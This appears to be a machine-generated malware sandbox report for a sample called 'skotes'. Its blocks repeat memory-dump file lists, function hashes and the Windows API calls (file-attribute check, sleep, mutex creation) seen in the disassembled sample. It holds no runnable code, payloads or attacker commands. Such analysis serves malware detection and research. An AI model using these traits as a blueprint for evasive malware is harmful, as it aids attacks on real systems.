Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: bc8b7ac19bf83743054ec4d28fbd71a4cd25753252ccc3bd5969710acc852991
Instruction ID: 13bd4e2e78db3198d81fb1a3338b14fa757e41fe5ea6627a931b604c6bc3fc03
Opcode Fuzzy Hash: bc8b7ac19bf83743054ec4d28fbd71a4cd25753252ccc3bd5969710acc852991
Instruction Fuzzy Hash: DC3148316141048BEF1AAB68DDC87ADB7BAEF86310F34C61AE114EB2D9C77559808B11

Function 00369F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00369F47
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: a9928c8e1212bc3961effaca0006847d14562d4e0103abd7a2fcacc810eeb250
Instruction ID: 85002bf2736eb02dfff375a0f6420d27760582f994fcaf5cd4ace381247dd270
Opcode Fuzzy Hash: a9928c8e1212bc3961effaca0006847d14562d4e0103abd7a2fcacc810eeb250
Instruction Fuzzy Hash: 64315B317101049BEF1AAB78DD857ACB7B6EF85310F30C61AE114EB2D9C77659808B52

Function 0036A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0036A07C
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: a1f602ad0c2f23c7196943fefc9003cc14a1de25c8e7be11c981370afd4c812c
Instruction ID: 4b34a8a8f2615a6009aaae62374ae7c85218ecfffc2cdea1d7a70438e842ef05
Opcode Fuzzy Hash: a1f602ad0c2f23c7196943fefc9003cc14a1de25c8e7be11c981370afd4c812c
Instruction Fuzzy Hash: 243148317105049BEB1A9B78DD89B6DB7B6EF82314F20C619E114FB3D9C77699808B12

Function 0036A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0036A1B1
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: facc6a210d3b67624d302fc287cb5d2c01624922412161e28ff370c47b17fdfe
Instruction ID: ad672b94493f1a799097b8abbf314509f803d20b6802cddfc55d667f1cb63f71
Opcode Fuzzy Hash: facc6a210d3b67624d302fc287cb5d2c01624922412161e28ff370c47b17fdfe
Instruction Fuzzy Hash: B8316A317005049FFB1A9B78DDC9B5CB7B6EF86310F20C619E114BB2D9C77659808B12

Function 0036A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0036A2E6
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: c52594fa66e81e9af6012dc852ce2943e112be3d391375228fb097643257a317
Instruction ID: 07aa6da64713d48a14069b64c7e2165b876beca5944414e3d33afa8b577ae708
Opcode Fuzzy Hash: c52594fa66e81e9af6012dc852ce2943e112be3d391375228fb097643257a317
Instruction Fuzzy Hash: 58318A317006049BEF1A9B78DC88B6CB7B6EF81314F30C619E015BB7D9C77699808B12

Function 0036A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0036A41B
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
